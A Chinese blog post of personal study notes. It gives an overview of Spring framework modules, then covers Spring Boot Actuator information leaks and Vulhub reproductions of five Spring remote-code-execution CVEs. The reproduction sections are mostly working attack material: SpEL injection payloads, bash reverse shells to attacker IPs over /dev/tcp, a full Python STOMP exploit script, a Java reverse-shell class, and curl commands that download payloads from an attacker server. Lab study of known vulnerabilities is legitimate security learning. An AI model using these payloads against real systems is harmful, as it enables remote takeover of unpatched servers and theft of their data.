以下为个人学习笔记和学习整理

# 框架简介

Spring 是 Java EE 编程领域的一个轻量级开源框架,该框架由一个叫 Rod Johnson 的程序员在 2002 年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为 J2EE 应用程序开发提供集成的框架。

# spring 体系结构

Spring 框架整体被分为 7 个模块:核心容器 (core container)、 面向切面编程 (aop)、数据访问 (date access)、web 层、test(测试)、消息传输(Messaging)、植入(Instrumentation)模块。
Spring4 去掉了 spring3 中的 struts, 添加了 messaging 和 websocket, 其他模块保持不变
Spring 的 jar 包大约 20 个,每个都有相应的功能,一个 jar 还可能依赖了若干其他 jar, 所以搞清楚它们之间的关系,配置 maven 依赖就可以简洁明了。

Spring 体系结构如下图:

# core 核心容器

core 部分包含 4 个模块:
pring-core:提供了框架的基本组成部分,IoC 与 DI 的最基本实现 。
spring-beans:提供了 BeanFactory,是工厂模式的一个经典实现,Spring 将管理对象称为 Bean。
spring-context:建立在 Core 和 Beans 模块的基础之上,提供一个框架式的对象访问方式,是访问定义和配置的任何对象的媒介。ApplicationContext 接口是 Context 模块的焦点。
spring-expression:提供了强大的表达式语言去支持运行时查询和操作对象图。这是对 JSP2.1 规范中规定的统一表达式语言(Unified EL)的扩展。该语言支持设置和获取属性值、属性分配、方法调用、访问数组、集合和索引器的内容、逻辑和算术运算、变量命名以及从 Spring 的 IOC 容器中以名称检索对象。它还支持列表投影、选择以及常用的列表聚合。

IOC:(Inverse of Control 反转控制)控制反转:当一个对象创建时,它所依赖的对象由外部传递给他,而非自己去创建所依赖的对象 (比如通过 new 操作); 将对象的创建权,交由 Spring 完成。

DI: 依赖注入,依赖:一个对象完成业务功能需要依赖另一个对象,比如 service 功能需要依赖于 dao,注入:就是在获取一个对象时,该对象所依赖的实例已经由 spring 替我们分配了。

因为 spring-core 依赖了 commons-logging,而其他模块都依赖了 spring-core,所以整个 spring 框架都依赖了 commons-logging,如果有自己的日志实现如 log4j,可以排除对 commons-logging 的依赖,没有日志实现而排除了 commons-logging 依赖,编译报错

# aop 面向切面编程

aop 部分包含 4 个模块:
spring-aop:提供了一个符合 AOP 要求的面向切面的编程实现,允许定义方法拦截器和切入点,将代码按照功能进行分离,以便干净地解耦。
spring-aspects:集成 AspectJ
spring-instrument:提供一些类级的工具支持和 ClassLoader 级的实现,用于服务器
spring-instrument-tomcat:针对 tomcat 的 instrument 实现 (包含了 spring 的 tomcat 设备代理)

# 数据访问 (data access)

data access 部分包含 5 个模块:
spring-jdbc:jdbc 的支持,提供了一个 JDBC 的抽象层,消除了烦琐的 JDBC 编码和数据库厂商特有的错误代码解析。
spring-tx:事务控制,支持用于实现特殊接口和所有 POJO(普通 Java 对象)类的编程和声明式事务管理。
spring-orm:为流行的对象关系映射(Object-Relational Mapping)API 提供集成层,包括 JPA 和 Hibernate。使用 Spring-orm 模块可以将这些 O/R 映射框架与 Spring 提供的所有其他功能结合使用,例如声明式事务管理功能。
spring-oxm:提供了一个支持对象 / XML 映射的抽象层实现,例如 JAXB、Castor、JiBX 和 XStream。
spring-jms:指 Java 消息传递服务,包含用于生产和使用消息的功能。自 Spring4.1 以后,提供了与 Spring-messaging 模块的集成。

# web 层

web 包含 4 个模块:
spring-web:提供了基本的 Web 开发集成功能,例如多文件上传功能、使用 Servlet 监听器初始化一个 IOC 容器以及 Web 应用上下文。
spring-webmvc:也称为 Web-Servlet 模块,包含用于 web 应用程序的 Spring MVC 和 REST Web Services 实现。Spring MVC 框架提供了领域模型代码和 Web 表单之间的清晰分离,并与 Spring Framework 的所有其他功能集成。
spring-webmvc-portlet:基于 portlet 的 mvc 实现
spring-websocket:Spring4.0 以后新增的模块,它提供了 WebSocket 和 SocketJS 的实现,为 web 应用提供的高效通信工具。

# test(测试)

test 部分只有一个模块,我将 spring-context-support 也放在这里
spring-test:spring 测试,提供 junit 与 mock 测试功能 0o
spring-context-support:spring 额外支持包,比如邮件服务、视图解析等

# 消息传输(Messaging)

Spring4.0 以后新增了消息(Spring-messaging)模块,该模块提供了对消息传递体系结构和协议的支持。

# 框架特征

1、如果 Web 应用程序的 favicon.ico 图标默认没有更改,是一个小绿叶。

spring

2、如果 web 应用开发者没有修改 SpringBoot Web 应用的默认 4xx、5xx 报错页面,那么当 web 应用程序出现 4xx、5xx 错误时,会报错如下图:

spring

3、根据浏览器的 wappalyzer 插件,识别出 spring 框架。

spring

4、根据 F12 查看相应包的内容,有没有关于 spring 的。

spring

5、枚举执行器端点路径。这个其实很简单,在确认当前 web 站点是 springboot 框架后,枚举当前站点的所有一级、二级甚至三级目录,然后写脚本对每个目录进行探测,查看目录下是否存在 actuator 执行端点路径即可。

# Springboot 之 actuator 配置不当的漏洞利用

# Actuator 简介

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。Actuator 配置不当导致应用系统监控信息泄露对应用系统及其用户的危害是巨大的,然而关于 springboot 框架下 actuator 配置不当的漏洞利用分析文章很少。

# 对应路径泄露信息造成的危害

Http 方法	      路径	                描述
get            	/autoconfig       提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过            
get             /configprops      描述配置属性(包含默认值)如何注入 Bean            
get            	/beans            描述应用程序上下文里全部的 Bean,以及它们的关系            
get            	/dump             获取线程活动的快照            
get            	/env              获取全部环境属性            
get            	/env/{name}       根据名称获取特定的环境属性值            
get            	/health           报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供            
get            	/info             获取应用程序的定制信息,这些信息由 info 打头的属性提供            
get            	/mappings         描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系            
get            	/metrics          报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数            
get            	/metrics/{name}   报告指定名称的应用程序度量值            
post            /shutdown         关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false)        
get            	/trace            提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等)                

# 产生原因

此漏洞是因为开发人员配置不当,将接口暴漏在公网上并且没有配置访问控制权限而产生的信息泄露

spring

# ./autoconfig 路径下,记录哪些自动配置条件通过了,哪些没通过。

spring

# ./env 路径下,这里一般会存放一些环境配置信息如 java 版本,数据账号密码,开放端口,启动方式等信息。

spring

# ./configprops 路径下,用来获取应用中配置的属性信息

spring

# ./heapdump 路径下,访问 /heapdump 路径,返回 GZip 压缩 hprof 堆转储文件。在 Android studio 打开,会泄露站点内存信息,很多时候会包含后台用户的账号密码。这个就不放图了

# Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)

# 漏洞描述

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了 Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

# 影响范围

Spring Security OAuth 2.0 – 2.0.9
Spring Security OAuth 1.0 – 1.0.5

# 复现过程

注:本次漏洞复现集合全部采用 Vulhub 环境

执行如下命令启动漏洞环境:

docker-compose up -d

启动完成后,访问 http://your-ip:8080 / 即可看到 web 页面。

spring

验证漏洞是否存在:(用户和密码都是 admin)

oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test   返回其中计算的值

spring

对反弹 shell 的 POC 进行 base64 编码(java 反弹 shell 都需要先编码,不然不会成功,runtime 不支持管道符)
加密地址:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.0.105/6666 0>&1

spring

在用 POC 生成一个脚本代码
spring

POC 脚本:

#!/usr/bin/env python

message = input('Enter message to encode:')

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

poc += ')}'

print(poc)

然后把 poc 复制给 reponse_type 传参的值,然后使用自己的 vps 监听 6666 端口

spring

成功反弹 shell
spring

我们也可以使用 dnslog 来返回执行命令的结果,需要使用 dns 平台

使用 curl 执行命令,返回给 dnslong
curl `whoami`.gc7qj5.dnslog.cn 对其进行 base64 编码后再使用 poc 脚本生成代码

spring

然后把 poc 复制给 reponse_type 传参的值,此时查看 dnslog 的结果

spring

# Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

# 漏洞描述:

Spring WebFlow 构建于 Spring MVC 之上,允许实现 Web 应用程序的 “流程”。流程封装了一系列步骤,指导用户执行某些业务任务。 它的最佳位置是具有受控导航功能的有状态 Web 应用程序,例如购物逻辑,向表单添加确认步骤等。如果我们控制了数据绑定时的 field,构造恶意 SpEL 表达式来远程执行命令。

# 影响范围:

Spring WebFlow 2.4.0 - 2.4.4

# 复现过程:

注:本次漏洞复现集合全部采用 Vulhub 环境

执行如下命令启动漏洞环境:

docker-compose up -d

启动完成后,访问 http://your-ip:8080 / 即可看到 web 页面。

spring

点击 login 随便选用一个账号密码进行登录,然后访问 id 为 1 的酒店 http://your-ip:8080/hotels/1,点击预订按钮 “Book Hotel”,填写相关信息后点击 “Process”(从这一步,其实 WebFlow 就正式开始了)

spring

点击 Confirm 进行抓包,抓到一个 POST 数据包,我们向其中添加一个字段(也就是反弹 shell 的 POC):

_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/VPS/PORT 0>&1")).start()=vulhub

注意:bash 反弹 shell 不能把 \ 给 URL 编码,否则 shell 会反弹失败

spring

此时成功反弹 shell

spring

# Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)

# 漏洞描述:

Spring Data 是对数据访问的更高抽象。通过它,开发者进一步从数据层解放出来,更专注于业务逻辑。Spring Data REST 是一个构建在 Spring Data 之上,为了帮助开发者更加容易地开发 REST 风格的 Web 服务。在 REST API 的 Patch 方法中,path 的值被传入 setValue,导致执行了恶意 SpEL 表达式,触发远程命令执行漏洞。

# 影响范围:

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

# 复现过程:

注:本次漏洞复现集合全部采用 Vulhub 环境

执行如下命令启动漏洞环境:

docker-compose up -d

启动完成后,访问 http://your-ip:8080 / 即可看到 web 页面。

spring

知识点:
Get: 从服务器端获取数据,请求 body 在地址栏上
Post: 向服务器端提交数据,请求数据在报文 body 里发送一个修改数据的请求,需求数据要从新创建
Put: 向服务器端提交数据,请求数据在报文 body 里发送一个修改数据的请求,需求数据更新(全部更新)
Patch: 向服务器端提交数据,请求数据在报文 body 里发送一个修改数据的请求,需求数据更新(部分更新)
Delete: 向服务器端提交数据,请求数据在报文 body 里发送一个删除数据的请求

抓包修改 OPTIONS,查看接受类型和允许的请求方法。

spring
首先注意几点:
1.Content-Type:application/json-patch+json
2. 请求数据必须是 json 数组
3.JSON Patch 方法提交的数据必须包含一个 path 成员,用于定位数据,同时还必须包含 op 成员,可选值如下:

op	                含义
add	               添加数据
remove	            删除
replace	            修改
move	            移动
copy	            拷贝
test	       测试给定数据与指定位置数据是否相等

访问 http://your-ip:8080/customers/1,看到一个资源。我们使用 PATCH 请求来修改之:

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

先将 POC 使用工具进行转义,在使用脚本将转义后的 POC 用脚本转换成十进制

spring

payload = b'要执行的命令'
bytecode = ','.join(str(i) for i in list(payload))
print(bytecode)

将转换成的十进制带入 byte 中

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,65,117,77,84,65,49,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]

spring

此时成功反弹 shell
spring

# Spring Messaging 远程命令执行漏洞(CVE-2018-1270)

# 漏洞描述:

spring messaging 为 spring 框架提供消息支持,其上层协议是 STOMP,底层通信基于 SockJS,用 STOMP 协议将数据组合成一个文本流,简单来说用 sockjs 协议发送文本流,sockjs 会选择一个合适的通道:websocket (NEW) 或 ajax (OLD) 进与后端通信。由于 selector 用 SpEL 表达式编写,并使用 StandardEvaluationContext 解析 (权限太大),造成命令执行漏洞。

# 影响范围:

Spring Framework 5.0 -5.0.4
Spring Framework 4.3 - 4.3.14

# 复现过程:

注:本次漏洞复现集合全部采用 Vulhub 环境

执行如下命令启动漏洞环境:

docker-compose up -d

启动完成后,访问 http://your-ip:8080 / 即可看到 web 页面。

spring

网上大部分文章都说 spring messaging 是基于 websocket 通信,其实不然。spring messaging 是基于 sockjs(可以理解为一个通信协议),而 sockjs 适配多种浏览器:现代浏览器中使用 websocket 通信,老式浏览器中使用 ajax 通信。

连接后端服务器的流程,可以理解为:

用 STOMP 协议将数据组合成一个文本流
用 sockjs 协议发送文本流,sockjs 会选择一个合适的通道:websocket 或 xhr (http),与后端通信
所以我们可以使用 http 来复现漏洞,称之为 “降维打击”。

我编写了一个简单的 POC 脚本 exploit.py(需要用 python3.6 执行),因为该漏洞是订阅的时候插入 SpEL 表达式,而对方向这个订阅发送消息时才会触发,所以我们需要指定的信息有:

基础地址,在 vulhub 中为 http://your-ip:8080/gs-guide-websocket
待执行的 SpEL 表达式,如 T (java.lang.Runtime).getRuntime ().exec ('touch /tmp/success')
某一个订阅的地址,如 vulhub 中为:/topic/greetings
如何触发这个订阅,即如何让后端向这个订阅发送消息。在 vulhub 中,我们向 /app/hello 发送一个包含 name 的 json,即可触发这个事件。当然在实战中就不同了,所以这个 poc 并不具有通用性。
根据你自己的需求修改 POC。如果是 vulhub 环境,你只需修改 1 中的 url 即可。
执行:

直接上 EXP, 注意使用的时候修改监听 IP 和靶机地址

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
 
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
 
def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))
 
 
class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)
 
    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)
     
    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']
 
        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
         
        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])
 
        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")
 
    def __del__(self):
        self.session.close()
 
 
sockjs = SockJS('http://你的靶机IP:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
 
sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/你的kaliIP/kali监听端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})',
    'id': 'sub-0',
    'destination': '/topic/greetings'
})
 
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

此时我们运行脚本,shell 反弹成功
spring

# Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)

# 漏洞描述:

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 有一个重要概念:Spring Data Repository 抽象。使用 Spring Data Repository 可以极大地减少数据访问层的代码。当用户在项目中利用了 Spring-data 的相关 web 特性对用户的输入参数进行自动匹配的时候,会将用户提交的 form 表单的 key 值作为 SpEL 表达式进行注入,攻击者可以注入恶意 SpEL 表达式以执行任意命令。

# 影响范围:

Spring Data Commons 1.13 - 1.13.10
Spring Data Commons 2.0 - 2.0.5

# 复现过程:

注:本次漏洞复现集合全部采用 Vulhub 环境

执行如下命令启动漏洞环境:

docker-compose up -d

启动完成后,访问 http://your-ip:8080 / 即可看到 web 页面。

spring

注册一个用户进行抓包,username 处构造 payload

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=123456&repeatedPassword=123456

使用 docker-compose exec -it spring bash 可以进入到容器中,可以看到 /tmp 目录下已经创建出了名为 success 的文件

反弹 shell 的方法(针对 java 环境):

首先上传一个编译后的 class 文件:
Exploit.java 文件如下:

javascript
// 注意修改目标IP
//javac Exploit.java
public class Exploit{
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/目标IP/2222 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

反编译一下 java 文件
javac Exploit.java

将反编译后的文件放在攻击主机的 /root 目录下(目录可以自定义),然后在此目录下开启一个 http 服务,用于访问下载文件:
// 端口可以自行修改
python -m http.server 9999

修改 bp 包中的内容,执行访问下载命令:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl  http://192.168.0.105:9999/Exploit.class")]=&password=&repeatedPassword=

执行下载的文件

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("java Exploit")]=&password=&repeatedPassword=

shell 成功反弹
spring

反弹 shell 的方法(针对 bash 环境):
与上面的思路大同小异,只是这里执行的文件为.sh

sh 文件中的内容

// 注意修改IP和端口
bash -i >& /dev/tcp/目标IP/2222 0>&1
下载文件
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://目标IP:9999/bash.sh")]=&password=&repeatedPassword=
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

Avenue-le 微信支付

微信支付

Avenue-le 支付宝

支付宝

Avenue-le beauty

beauty